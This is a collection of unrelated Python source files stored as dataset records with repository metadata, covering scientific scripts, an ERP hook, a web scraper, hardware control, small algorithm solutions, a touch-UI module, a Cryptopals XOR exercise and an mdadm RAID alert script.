lineAsArray[5]\n\t\t\tpValue = lineAsArray[6]\n\t\t\t#print(phenotype1)\n\t\t\t#print(phenotype2)\n\t\t\t#print(pValue)\n\n\t\t\tif(pValue != \"\"):\n\t\t\t\tcurrentEdge = [phenotype1, phenotype2, coOccur, phiValue, pValue]\n\n\t\t\t\tcomorbiditiesAll.add(tuple(currentEdge))\n\n\t\t\t\t#if(float(pValue) < float(0.05) and float(coOccur) > 1 and float(phiValue) > 0):\n\t\t\t\t#\tcomorbidityMap.add(tuple(currentEdge))\n\t\t\t\t#else:\n\t\t\t\t#\tcomorbidityMissingLinks.add(tuple(currentEdge))\n\t\n\ti = i+1\n\nprint(\"Finished identifying edge map and missing link map\")\n\n\n#with open(edgeMapOutputPath, 'w') as outfile:\n#\toutfile.write(\"phenotype1\\tphenotype2\\tcoOccur\\tphiValue\\tpValue\\n\")\n#\tfor elem in comorbidityMap:\n#\t\toutfile.write(str(elem[0]) + \"\\t\" + str(elem[1]) + \"\\t\" + str(elem[2]) + \"\\t\" + str(elem[3]) + \"\\t\" + str(elem[4]) + \"\\n\")\n#print(\"Finished outputting \" + str(len(comorbidityMap)) + \" edges to the edge map.\")\n\n\n#with open(missingLinkMapOutputPath, 'w') as outfile2:\n#\toutfile2.write(\"phenotype1\\tphenotype2\\tcoOccur\\tphiValue\\tpValue\\n\")\n#\tfor elem in comorbidityMissingLinks:\n#\t\toutfile2.write(str(elem[0]) + \"\\t\" + str(elem[1]) + \"\\t\" + str(elem[2]) + \"\\t\" + str(elem[3]) + \"\\t\" + str(elem[4]) + \"\\n\")\n#print(\"Finished outputting \" + str(len(comorbidityMissingLinks)) + \" edges to the missing link map.\")\n\n\nwith open(allComorbiditiesPath, 'w') as outfile3:\n\toutfile3.write(\"phenotype1\\tphenotype2\\tcoOccur\\tphiValue\\tpValue\\n\")\n\tfor elem in comorbiditiesAll:\n\t\toutfile3.write(str(elem[0]) + \"\\t\" + str(elem[1]) + \"\\t\" + str(elem[2]) + \"\\t\" + str(elem[3]) + \"\\t\" + str(elem[4]) + \"\\n\")\nprint(\"Finished outputting \" + str(len(comorbiditiesAll)) + \" edges to the all comorbidities map.\")\n\n\n\n","repo_name":"vsriram24/obstetricSSL","sub_path":"scripts/3_comparisonToEHR/createComorbidityMap.py","file_name":"createComorbidityMap.py","file_ext":"py","file_size_in_byte":3066,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"35846627149","text":"import frappe\n\ndef on_submit(doc,method=None):\n new_sheet=frappe.get_doc(dict(doctype= \"Sales Invoice\",\n customer_name=doc.customer_name,\n customer=doc.customer,\n sales_type=doc.sales_type,\n transaction_date=doc.transaction_date,\n delivery_date=doc.delivery_date,\n contact_mobile=doc.contact_mobile,\n due_date=doc.delivery_date\n ))\n for val in doc.items:\n new_sheet.append('items',{\n 'item_code':val.item_code,\n 'delivery_date':val.delivery_date,\n 'item_name':val.item_name,\n 'description':val.description,\n 'gst_hsn_code':val.gst_hsn_code,\n 'qty':val.qty,\n 'stock_uom':val.stock_uom,\n 'conversion_factor':val.conversion_factor,\n })\n for i in doc.taxes:\n new_sheet.append('taxes',{\n 'charge_type':i.charge_type,\n 'description':i.description,\n 'account_head':i.account_head,\n 'rate':i.rate,\n 'tax_amount':i.tax_amount,\n 'total':i.total\n })\n \n new_sheet.insert(ignore_mandatory=True)\n ","repo_name":"MohanReddy000/Erpnext_training","sub_path":"training/test/doctype/sales_invoice/auto_sales_invoice.py","file_name":"auto_sales_invoice.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"38803593429","text":"#多线程抓取简书首页投稿信息\nimport requests\nfrom lxml import etree\nimport re\nimport time\nimport pymongo\nfrom multiprocessing import Pool\n\nclient = pymongo.MongoClient('localhost', 27017)\nmydb = client['mydb']\njianshu_shouye = mydb['jianshu_shouye']\n\nheaders = {\n 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36'\n}\n\ndef get_jianshu_info(url):\n wb_data = requests.get(url,headers=headers)\n #print(wb_data.text)\n selector = etree.HTML(wb_data.text)\n # print(etree.tostring(selector))\n infos = selector.xpath('//*[@id=\"list-container\"]/ul/li')\n for info in infos:\n try:\n author = info.xpath('div/div/a[1]/text()')[0]\n title = info.xpath('div/a/text()')[0]\n content = info.xpath('div/p/text()')[0]\n rewards = info.xpath('div/div/span[3]/text()')\n if len(rewards) == 0:\n reward = '无'\n else:\n reward = rewards[0].strip()\n comment = info.xpath('div/div/a[2]/text()')[1].strip()\n likes = info.xpath('div/div/span[2]/text()')\n if len(likes) == 0:\n like = '无'\n else:\n like = likes[0].strip()\n data = {\n 'author':author,\n 'title':title,\n 'content':content,\n 'like':like,\n 'comment':content,\n 'reward':reward\n }\n print(author,title,content,reward,comment,like)\n jianshu_shouye.insert_one(data)\n time.sleep(1)\n except IndexError:\n pass\n\nif __name__ == '__main__':\n urls = ['http://www.jianshu.com/c/bDHhpK?order_by=added_at&page={}'.format(str(i)) for i in range(1, 10001)]\n pool = Pool(processes=4)\n pool.map(get_jianshu_info,urls)\n","repo_name":"xmaniu/learn-spider-from-zero","sub_path":"jianshushouye.py","file_name":"jianshushouye.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"25767619481","text":"import time\n\nfrom plx_gpib_ethernet import PrologixGPIBEthernet\n\nclass GPIBPowerSupply:\n PORT = 1234\n\n def __init__(self, name, host):\n self.name = name\n self.host = host\n self.device = PrologixGPIBEthernet(self.host)\n \n def connect(self):\n self.device.connect()\n self.device.select(6)\n\n @property\n def voltage(self):\n voltage = self.device.query(\"VO?\")\n time.sleep(1e-3)\n return voltage.strip()\n\n @property\n def current(self):\n current = self.device.query(\"IO?\")\n time.sleep(1e-3)\n return current.strip()","repo_name":"antonellopellecchia/gem-test-beam-monitoring","sub_path":"modules/lv_power_supply.py","file_name":"lv_power_supply.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"42887750568","text":"#Make sure the database and this file are in the same directory when testing.3\nimport sqlite3 as sql\n\n#You quotation marks for inputs when testing\ncolour_id = input(\"Colour of the car? :\")\nlocation_id = input(\"Location of the car?: \")\nseat_id = int(input(\"How many seats in the car?: \"))\ndoor_id = int(input(\"How many doors in the car?: \"))\nminPrice = float(input(\"Min price of the car?: \"))\nmaxPrice = float(input(\"Max price of the car?: \"))\n\n\n#Search algorithm for all criteria\ndb = sql.connect('Car_Database.sqlite')\ncursor = db.cursor()\n\ncursor.execute('''SELECT * FROM Cars WHERE Colour=? and Location=? and Seats=? and Doors=? and Price BETWEEN ? AND ?''', (colour_id, location_id, seat_id, door_id, minPrice, maxPrice,))\nuser = cursor.fetchall()\nprint(user)\ndb.close()\n","repo_name":"sokhij3/B2-Group-Project","sub_path":"Search algorithm for all criteria.py","file_name":"Search algorithm for all criteria.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"35848596150","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndf = pd.read_csv(r'C:\\Users\\rakee\\PycharmProjects\\personal\\computing_and_controls\\data_set.csv', header=None)\n# df = df.iloc[:26, :]\n\ninitial_y_pred = [5.0+x for x in range(16)]\n# initial_y_pred = [5.0, 10.0, 15.0]\npredicted_distance = pd.DataFrame([initial_y_pred])\n\nalpha = 0.0824\n# alpha = 0.7535\n# alpha = 0.701001\n\nfor i in range(len(df)):\n # res = df.iloc[i].values + alpha*(predicted_distance.iloc[i].values - df.iloc[i].values)\n res = predicted_distance.iloc[i].values + alpha * (df.iloc[i].values - predicted_distance.iloc[i].values)\n predicted_distance = predicted_distance.append(pd.DataFrame([res]))\n\n\n# predicted_distance.columns = [x+5 for x in range(20)]\n# predicted_distance.columns = [5, 10, 15]\n# predicted_distance.to_csv('predicted_data_1.csv', index=None)\n\n# Lets process the standard deviation\nstd = np.std(df, ddof=1)\nstd_df = pd.DataFrame()\n\nfor i in range(len(std)):\n for j in range(len(df)):\n std_df[i] = [std[i] for yy in range(len(df))]\n\n# averaging filter for comparison\navg = df.groupby(np.arange(len(df))//10).mean()\navg_df = pd.DataFrame(columns=df.columns)\n\ncount = 0\nfor v in avg.values:\n for j in range(10):\n avg_df.loc[count] = v\n count += 1\n\navg_df.to_csv('averaging_filter_for_part_1')\n\ni = 8 # Which ground truth do you want to plot\n\n# Lets plot\nplt.plot(df.iloc[:, i], 'r')\npredicted_distance.reset_index(inplace=True)\nplt.plot(predicted_distance.iloc[:, i+1])\nplt.plot(3*std_df[i]+(i*1)+5, 'k')\nplt.plot((i*1)+5-3*std_df[i], 'g')\nplt.plot(avg_df.iloc[:, i], 'm')\nplt.xlabel('Sample Number')\nplt.ylabel('Position/Inches')\n\nplt.legend(['Measured Data', 'Alpha KF Filtered Data', '+ve X 3sigma', '-ve X 3sigma', 'Averaging Filter Data'])\nplt.title('Position vs Number of Sample for ground truth = {}'.format(str((i*1)+5)))\n\nplt.show()\n","repo_name":"rmr327/personal","sub_path":"computing_and_controls/alpha_kalman_filter.py","file_name":"alpha_kalman_filter.py","file_ext":"py","file_size_in_byte":1884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"31311607336","text":"class Solution:\n def sortedSquares(self, nums: List[int]) -> List[int]:\n left, right = 0, len(nums)-1\n answer = []\n \n while left <= right:\n ll = nums[left]*nums[left]\n rr = nums[right]*nums[right]\n if ll > rr:\n answer.append(ll)\n left+=1\n else:\n answer.append(rr)\n right-=1\n \n return answer[::-1]\n ","repo_name":"ruth987/Competitve-programming-A2SV","sub_path":"0977-squares-of-a-sorted-array/0977-squares-of-a-sorted-array.py","file_name":"0977-squares-of-a-sorted-array.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"9176834731","text":"import pygame\nfrom pygame.math import Vector2\n\n\nwidth = 1366\nheight = 768\n\nsnd_dir = 'media/snd/'\nimg_dir = 'media/img/'\n\n\nclass Player(pygame.sprite.Sprite):\n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(img_dir + 'player/player.png')\n self.rect = self.image.get_rect()\n self.rect.x = width/2\n self.rect.y = height/2\n self.speed = 10\n\n self.copy = self.image\n self.position = Vector2(self.rect.center)\n self.direction = Vector2(0, -1)\n self.angle = 0\n\n self.snd_expl = pygame.mixer.Sound(snd_dir + \"expl.mp3\")\n self.snd_expl.set_volume(0.1)\n self.snd_shoot = pygame.mixer.Sound(snd_dir + \"shoot.mp3\")\n self.snd_shoot.set_volume(0.1)\n self.snd_scratch = pygame.mixer.Sound(snd_dir + \"scratch.mp3\")\n self.snd_scratch.set_volume(0.1)\n\n self.hp = 500\n\n def rotate(self, rotate_speed):\n self.direction.rotate_ip(-rotate_speed)\n self.angle += rotate_speed\n self.image = pygame.transform.rotate(self.copy, self.angle)\n self.rect = self.image.get_rect(center=self.rect.center)\n\n def update(self):\n keystate = pygame.key.get_pressed()\n if keystate[pygame.K_RIGHT]:\n self.rotate(-5)\n if keystate[pygame.K_LEFT]:\n self.rotate(5)\n if keystate[pygame.K_UP]:\n self.position += self.speed * self.direction\n self.rect.center = self.position\n if keystate[pygame.K_DOWN]:\n self.position -= self.speed * self.direction\n self.rect.center = self.position","repo_name":"egorchik2408/Ego","sub_path":"StarWars/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"39617493430","text":"# -*- coding: utf-8 -*-\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\nfrom odoo import _, api, exceptions, fields, models, tools\n\n\nclass AccountMoveLine(models.Model):\n _inherit = 'account.move.line'\n\n # Hide\n blocked = fields.Boolean(sequence=100)\n tax_exigible = fields.Boolean(sequence=100)\n payment_id = fields.Many2one(sequence=100)\n company_currency_id = fields.Many2one(sequence=100)\n storno = fields.Boolean(sequence=100)\n eksportuota = fields.Boolean(sequence=100)\n reconciled_with_a_klase = fields.Boolean(sequence=100)\n company_id = fields.Many2one(sequence=100)\n gl_balance = fields.Float(sequence=100)\n gl_currency_rate = fields.Float(sequence=100)\n gl_foreign_balance = fields.Float(sequence=100)\n gl_revaluated_balance = fields.Float(sequence=100)\n\n # Reorder\n date = fields.Date(sequence=0)\n account_id = fields.Many2one(sequence=1)\n product_id = fields.Many2one(sequence=2)\n product_category = fields.Many2one(sequence=3)\n partner_id = fields.Many2one(sequence=4)\n invoice_id = fields.Many2one(sequence=5)\n debit = fields.Monetary(sequence=6)\n credit = fields.Monetary(sequence=7)\n balance = fields.Monetary(sequence=8, lt_string='Suma')\n analytic_account_id = fields.Many2one(sequence=9)\n date_maturity = fields.Date(sequence=10)\n journal_id = fields.Many2one(sequence=11)\n\n a_klase_kodas_id = fields.Many2one(sequence=70)\n b_klase_kodas_id = fields.Many2one(sequence=71)\n\n create_date = fields.Datetime(sequence=99)\n create_uid = fields.Many2one('res.users', sequence=99)\n write_date = fields.Datetime(sequence=99)\n write_uid = fields.Many2one('res.users', sequence=99)\n\n sanity_checks = fields.One2many('account.move.line.sanity.check', 'line_id', string='Apskaitos testai',\n groups='base.group_system')\n forced_analytic_default = fields.Boolean(string='Priverstinė analitinė taisyklė')\n\n @api.multi\n def copy(self, default=None):\n self.ensure_one()\n move = None\n if default and 'move_id' in default:\n move = self.env['account.move'].browse(default.get('move_id')).exists()\n if not move:\n move = self.move_id\n if move.state == 'posted':\n raise exceptions.UserError(_('You cannot copy a line on a posted journal entry'))\n return super(AccountMoveLine, self).copy(default)\n\n @api.model\n def server_action_aml_analytics(self):\n action = self.env.ref('robo.server_action_aml_analytics_act')\n if action:\n action.create_action()\n\n @api.multi\n def server_action_aml_analytics_wizard(self):\n wiz_id = self.env['account.move.line.analytic.wizard'].create({})\n wiz_id.with_context(active_ids=self._context.get('active_ids'))._tax_line_warning()\n return {\n 'view_type': 'form',\n 'view_mode': 'form',\n 'res_model': 'account.move.line.analytic.wizard',\n 'view_id': self.env.ref('robo.aml_analytics_wizard_form').id,\n 'type': 'ir.actions.act_window',\n 'target': 'new',\n 'res_id': wiz_id.id,\n 'context': {'active_ids': self._context.get('active_ids')}\n }\n\n @api.multi\n def remove_move_reconcile(self):\n # If reconciliation tracking is enabled, collect reconciled line IDs\n reconciled_lines = []\n if not self._context.get('disable_reconciliation_tracking'):\n for rec in self.filtered(lambda x: x.matched_credit_ids or x.matched_debit_ids):\n reconciled_lines.append(rec.id)\n\n res = super(AccountMoveLine, self.sudo()).remove_move_reconcile()\n\n # If reconciliation tracking is not disabled, check whether lines that were reconciled previously\n # Were successfully unreconciled, if they were -- post a message to related account move\n if not self._context.get('disable_reconciliation_tracking'):\n user_name = self.env.user.name\n unreconciled_lines = self.env['account.move.line']\n for line in self:\n try:\n if not line.matched_credit_ids and not line.matched_debit_ids and line.id in reconciled_lines:\n unreconciled_lines |= line\n except exceptions.MissingError:\n # If move line is of non company currency, entries that even-out currencies are unlinked\n # during un-reconciliation, and since this batch is not-yet committed we get the missing error\n # so we just pass on such line if that is the case\n pass\n account_moves = unreconciled_lines.mapped('move_id')\n for account_move in account_moves:\n message_to_post = '''Naudotojas \"{}\" modifikavo šių eilučių sudengimus:\\n\n \n \n \n \n '''.format(user_name)\n for line in unreconciled_lines.filtered(lambda x: x.move_id == account_move):\n message_to_post += '''\n \n \n \n \n '''.format(line.name, line.balance)\n message_to_post += '
PavadinimasSuma
{}{}
'\n account_move.message_post(body=message_to_post)\n return res\n\n @api.multi\n def delete_move_reconcile(self):\n self.ensure_one()\n if not self.create_uid.is_accountant() or self.env.user.is_accountant():\n self.remove_move_reconcile()\n self.move_id.write({'state': 'draft'})\n self.move_id.unlink()\n\n @api.multi\n def delete_move_reconcile_offsetting(self):\n self.ensure_one()\n if self.env.user.is_manager():\n line_ids = self.move_id.line_ids\n line_ids.remove_move_reconcile()\n self.move_id.write({'state': 'draft'})\n self.move_id.unlink()\n\n # @api.model\n # def fields_get(self, allfields=None, attributes=None):\n # fields_list = super(AccountMoveLine, self).fields_get(allfields=allfields, attributes=attributes)\n # if self._context.get('view_type', '') == 'pivot' and not self.env['res.users'].browse(self._uid).is_accountant():\n # if 'company_currency_id' in fields_list:\n # fields_list.pop('company_currency_id')\n # if 'tax_exigible' in fields_list:\n # fields_list.pop('tax_exigible')\n # if 'payment_id' in fields_list:\n # fields_list.pop('payment_id')\n # if 'storno' in fields_list:\n # fields_list.pop('storno')\n # return fields_list\n\n @api.multi\n def create_analytic_lines(self):\n super(AccountMoveLine, self).create_analytic_lines()\n lock_type = 'freeze' if self.sudo().env.user.company_id.analytic_lock_type in ['freeze'] else 'block'\n for line in self:\n if line.analytic_account_id and not line.analytic_line_ids and lock_type not in ['freeze']:\n raise exceptions.UserError(_('Nepavyko sukurti analitikos įrašų.'))\n\n @api.one\n def _prepare_analytic_line(self):\n res = super(AccountMoveLine, self)._prepare_analytic_line()\n if type(res) == list:\n res = res[0]\n if 'move_partner_id' not in res:\n if self.partner_id:\n res['move_partner_id'] = self.partner_id.id\n elif self.move_id.partner_id:\n res['move_partner_id'] = self.move_id.partner_id.id\n return res\n\n def force_reverse_analytics(self, move_lines, used_lines=None):\n \"\"\"\n Forces analytic accounts on picking move lines\n that are related to a picking being returned.\n Analytic account is taken from the picking move line\n :param move_lines: Lines to match from\n :param used_lines: Lines already matched\n :return: Lines matched\n \"\"\"\n\n self.ensure_one()\n\n used_lines = self.env['account.move.line'] if used_lines is None else used_lines\n\n line_matched = move_lines.filtered(lambda x: x.product_id.id == self.product_id.id\n and x.debit == self.credit\n and x.credit == self.debit\n and x.account_id.code.startswith('6')\n and x not in used_lines)\n\n if len(line_matched) == 1:\n self.mapped('analytic_line_ids').unlink()\n self.write({'analytic_account_id': line_matched.analytic_account_id.id})\n self.create_analytic_lines()\n used_lines |= line_matched\n\n return used_lines\n\n @api.model\n def get_account_move_line_front_action(self, category=None, date_str=None, is_preliminary=None):\n if not category:\n return\n if date_str:\n dates = date_str.split(' - ')\n if len(dates) != 2:\n raise exceptions.UserError(_('Wrong dates!'))\n date_from = dates[0]\n date_to = dates[1]\n else:\n raise exceptions.UserError(_('Dates not provided!'))\n\n date_from_dt = datetime.strptime(date_from, tools.DEFAULT_SERVER_DATE_FORMAT)\n date_to_dt = datetime.strptime(date_to, tools.DEFAULT_SERVER_DATE_FORMAT)\n range_date_from = (date_from_dt + relativedelta(months=-1, day=1)).strftime(tools.DEFAULT_SERVER_DATE_FORMAT)\n range_date_to = (date_to_dt + relativedelta(months=-1, day=31)).strftime(tools.DEFAULT_SERVER_DATE_FORMAT)\n\n AccountAccount = self.env['account.account']\n company = self.env.user.sudo().company_id\n departments = self.env['hr.department'].sudo().search([])\n contracts = self.env['hr.contract'].sudo().search([\n ('date_start', '<=', range_date_to),\n '|',\n ('date_end', '>=', range_date_from),\n ('date_end', '=', False)\n ])\n\n journal_id = False\n if category == 'VAT':\n account_ids = company.vat_account_ids.ids if is_preliminary == 'true' else company.vat_account_id.ids\n journal_id = company.vat_journal_id.id if is_preliminary != 'true' else False\n group_by = ['account_id']\n elif category == 'SODRA':\n accounts = company.saskaita_sodra | departments.mapped('saskaita_sodra') | \\\n contracts.mapped('sodra_credit_account_id')\n account_ids = accounts.ids\n journal_id = company.salary_journal_id.id\n group_by = ['account_id', 'partner_id']\n elif category == 'GPM':\n accounts = AccountAccount.search([('code', '=', '4487')], limit=1) | company.saskaita_gpm | \\\n departments.mapped('saskaita_gpm') | contracts.mapped('gpm_credit_account_id')\n account_ids = accounts.ids\n journal_id = company.salary_journal_id.id\n group_by = ['account_id', 'partner_id']\n domain = [\n ('date', '>=', range_date_from),\n ('date', '<=', range_date_to),\n ('move_id.state', '=', 'posted'),\n ('account_id', 'in', account_ids)\n ]\n if journal_id:\n domain += [('journal_id', '=', journal_id)]\n ctx = {'col_group_by': ['date:month'], 'pivot_measures': ['balance', 'amount_residual'],\n 'group_by': group_by}\n return {\n 'context': ctx,\n 'name': _('Accounting analysis'),\n 'res_model': 'account.move.line',\n 'target': 'current',\n 'domain': domain,\n 'type': 'ir.actions.act_window',\n 'view_id': self.env.ref('robo.account_move_line_pivot_view').id,\n 'views': [[self.env.ref('robo.account_move_line_pivot_view').id, 'pivot']],\n 'view_mode': 'pivot',\n }\n","repo_name":"websharp950223/financing","sub_path":"robo/robo/models/account_move_line.py","file_name":"account_move_line.py","file_ext":"py","file_size_in_byte":12121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"28617193046","text":"class Solution:\n def twoSum(self, nums, target: int):\n \n check = defaultdict()\n \n for idx, value in enumerate(nums):\n if (target - value) in check:\n return [idx , check[target-value]]\n else:\n check[value] = idx\n ","repo_name":"avisionary/leetcode-solutions","sub_path":"python_codes/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"43589380495","text":"# 정수 삼각형\n# DP\n# 2021/06/10 3:50 오후\n\nn = int(input())\ntri = [[0]]\nfor _ in range(n):\n tri.append(list(map(int, input().split())))\n\nfor i in range(2, n + 1):\n for j in range(i):\n # 왼쪽 끝일 때\n if j == 0:\n tri[i][0] += tri[i - 1][0]\n # 오른쪽 끝일 때\n elif j == i - 1:\n tri[i][j] += tri[i - 1][-1]\n else:\n tri[i][j] += max(tri[i - 1][j - 1], tri[i - 1][j])\n\nprint(max(tri[-1]))\n\n# ClearTime = 2021/06/10 4:03 오후\n","repo_name":"songkg7/1day-1algorithm","sub_path":"baekjoon/dynamic-programming/1932_re.py","file_name":"1932_re.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"9656711744","text":"'''\nFeedBack: A global feedback effect (aka Surface)\n'''\n\nfrom pymt import *\nimport os\n\nif not 'PYMT_DOC' in os.environ:\n particle_fn = os.path.join(pymt_data_dir, 'particle2.png')\n ring_fn = os.path.join(pymt_data_dir, 'ring.png')\n ring_img = Image(ring_fn)\n ring_img.anchor_x = ring_img.width / 2\n ring_img.anchor_y = ring_img.height / 2\n\nclass GlobalFeedbackTouch(MTWidget):\n def __init__(self, **kwargs):\n super(GlobalFeedbackTouch, self).__init__(**kwargs)\n\n # max times of a move position (after that, it will be deleted)\n self.maxtimemove = .1\n\n # minimum time before the nomove particle appear\n self.mintimenomove = 1\n\n # maximum moves available\n self.maxmoves = 20\n\n # prepare list of moves\n self.timer = 0\n self.moves = []\n self.moves.append([self.x, self.y, self.maxtimemove])\n\n def on_move(self, x, y):\n\n # reset nomove timer\n self.timer = 0\n\n # append a new move in list\n self.moves.append([x, y, self.maxtimemove])\n if len(self.moves) > self.maxmoves:\n self.moves = self.moves[1:]\n\n def draw(self):\n # advance nomove timer\n self.timer += getFrameDt()\n\n # nomove timeout, show it !\n if self.timer > self.mintimenomove:\n alpha = min(0.9, (self.timer - self.mintimenomove) * 4)\n set_color(1, 1, 1, alpha)\n set_brush(particle_fn, size=alpha * 50)\n paintLine((self.x, self.y, self.x + 1, self.y + 1))\n\n # show moves\n move_to_delete = []\n have_first = False\n ox, oy = 0, 0\n alphastep = 1.0 / max(1, len(self.moves))\n alpha = 0\n\n # prepare brush\n set_brush(particle_fn, size=5)\n\n # show all moves\n for idx in xrange(0, len(self.moves)):\n\n # decrease timeout\n self.moves[idx][2] -= getFrameDt()\n x, y, timer = self.moves[idx]\n\n # move timeout, delete it\n if timer < 0:\n move_to_delete.append(idx)\n continue\n\n # save the first move to draw line\n if not have_first:\n have_first = True\n ox, oy = x, y\n continue\n\n # calcute steps for having a nice line\n numsteps = max(20, int(Vector(ox, oy).distance(Vector(x, y)))/20)\n\n # draw the line !\n set_color(1, 1, 1, alpha)\n paintLine((ox, oy, x, y), numsteps=10)\n\n # prepare next move\n ox, oy = x, y\n alpha += alphastep\n\nclass GlobalFeedback(MTWidget):\n def __init__(self, **kwargs):\n super(GlobalFeedback, self).__init__(**kwargs)\n self.touches = {}\n self.rings = []\n\n def on_draw(self):\n alivetouches = []\n for touch in getCurrentTouches():\n if 'kinetic' in touch.profile and touch.mode == 'spinning':\n continue\n alivetouches.append(touch.id)\n if touch.id not in self.touches:\n self.touches[touch.id] = GlobalFeedbackTouch(pos=(touch.x, touch.y))\n self.add_widget(self.touches[touch.id])\n newsprite = Image(ring_img, pos=touch.pos, opacity=0.75, scale=0.10)\n self.rings.append(newsprite)\n else:\n self.touches[touch.id].pos = (touch.x, touch.y)\n\n touchestodel = []\n\n for touchid in self.touches:\n if touchid not in alivetouches:\n touchestodel.append(touchid)\n\n for id in touchestodel:\n self.remove_widget(self.touches[id])\n del self.touches[id]\n\n # Uncomment the line below to always see feedback.\n self.bring_to_front()\n super(GlobalFeedback, self).on_draw()\n\n def draw(self):\n rings_to_delete = []\n for i in xrange(0, len(self.rings)):\n ring = self.rings[i]\n ring.draw()\n ring.opacity -= getFrameDt() * 1.5\n ring.scale += getFrameDt() * 2\n if ring.opacity <= 0:\n rings_to_delete.append(ring)\n for ring in rings_to_delete:\n self.rings.remove(ring)\n\n\ndef start(win, ctx):\n ctx.w = GlobalFeedback()\n win.add_widget(GlobalFeedback())\n\ndef stop(win, ctx):\n win.remove_widget(ctx.w)\n","repo_name":"tito/pymt","sub_path":"pymt/modules/feedback.py","file_name":"feedback.py","file_ext":"py","file_size_in_byte":4334,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"70"} +{"seq_id":"21272277090","text":"from codecs import decode, encode\nfrom Crypto.Util.strxor import strxor_c\n\n\n# Takes two hex strings and applys an xor\ndef apply_xor(input_string,xor_string):\n # bytes is iterable so zip down the two iterables and apply the xor\n return bytes(x ^ y for x, y in zip(input_string, xor_string))\n\n\ndef decode_string(input_string):\n hex_string = decode(input_string, \"hex\")\n return hex_string\n\n\n# Letter frequency courtesy of http://norvig.com/mayzner.html\nfreqs = {\n 'a': 0.0804,\n 'b': 0.0148,\n 'c': 0.0334,\n 'd': 0.0382,\n 'e': 0.1249,\n 'f': 0.0240,\n 'g': 0.0187,\n 'h': 0.0505,\n 'i': 0.0757,\n 'j': 0.0016,\n 'k': 0.0054,\n 'l': 0.0407,\n 'm': 0.0251,\n 'n': 0.0723,\n 'o': 0.0764,\n 'p': 0.0214,\n 'q': 0.0012,\n 'r': 0.0628,\n 's': 0.0654,\n 't': 0.0928,\n 'u': 0.0273,\n 'v': 0.0105,\n 'w': 0.0168,\n 'x': 0.0023,\n 'y': 0.0166,\n 'z': 0.0009,\n ' ': 0.1354\n}\n\n\n# For each character in string, look up value in freqs and add it together\ndef score_result(s):\n score = 0\n for i in s:\n char = chr(i).lower()\n if char in freqs:\n score += freqs[char]\n return score\n\n\nfile_contents = []\nwith open(\"./supporting_files/c4.txt\", \"r\") as file:\n for line in file.readlines():\n # Line returns will MESS you up\n file_contents.append(decode_string(line.strip()))\n\nresults = []\n\n# For each line in file\nfor line in file_contents:\n line_results = []\n # For each character in english language (ascii)\n for i in range(255):\n xor_applied_string = strxor_c(line, i)\n scored_sentence = score_result(xor_applied_string)\n line_results.append({\"score\": scored_sentence, \"xor_string\": xor_applied_string})\n\n results.append(line_results)\n\nmax_score = 0\nmax_sentence = \"\"\n\nfor line in results:\n for item in line:\n if item[\"score\"] > max_score:\n # Print strings in increasing value\n print(item)\n max_score = item[\"score\"]\n max_sentence = item[\"xor_string\"]\n\nprint(max_score)\nprint(max_sentence)\n","repo_name":"lordkyzr/cryptopals","sub_path":"set_1/challenge_4.py","file_name":"challenge_4.py","file_ext":"py","file_size_in_byte":2077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"6845059183","text":"#!/usr/bin/env python\nimport argparse\nimport logging\nimport subprocess\nimport httplib\nimport urllib\n\nlogging.basicConfig()\nLOGGER = logging.getLogger('logger')\nLOGGER.setLevel(logging.INFO)\n\nPO_MSG_ENDPOINT = \"/1/messages.json\"\n\n\ndef mdadm_check(args):\n for array in args.arrays:\n LOGGER.info('Checking array ' + array)\n cmd = \"/sbin/mdadm --detail \" + array + \" | awk '/Failed Devices : / {print $4;}'\"\n check = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)\n failed_drives, err = check.communicate()\n LOGGER.info('Found ' + failed_drives + ' failed drives, sending Pushover msg')\n\n if int(failed_drives) != 0:\n priority = 1\n message = \"CRITICAL: There are {} failed drives in {}\".format(failed_drives, array)\n post_to_pushover(args.token, args.key, str(priority), message)\n elif int(failed_drives) == 0:\n priority = -1\n message = \"INFO: There are {} failed drives in {}\".format(failed_drives, array)\n post_to_pushover(args.token, args.key, str(priority), message)\n\n\ndef post_to_pushover(token, key, priority, msg):\n try:\n LOGGER.info('Opening HTTPS connection to api.pushover.net...')\n po_api = httplib.HTTPSConnection(\"api.pushover.net:443\")\n po_api.request(\"POST\", PO_MSG_ENDPOINT,\n urllib.urlencode({\n \"token\": token,\n \"user\": key,\n \"priority\": priority,\n \"message\": msg,\n }), {\"Content-type\": \"application/x-www-form-urlencoded\"})\n response = po_api.getresponse()\n LOGGER.info(\"{}: {}\".format(response.status, 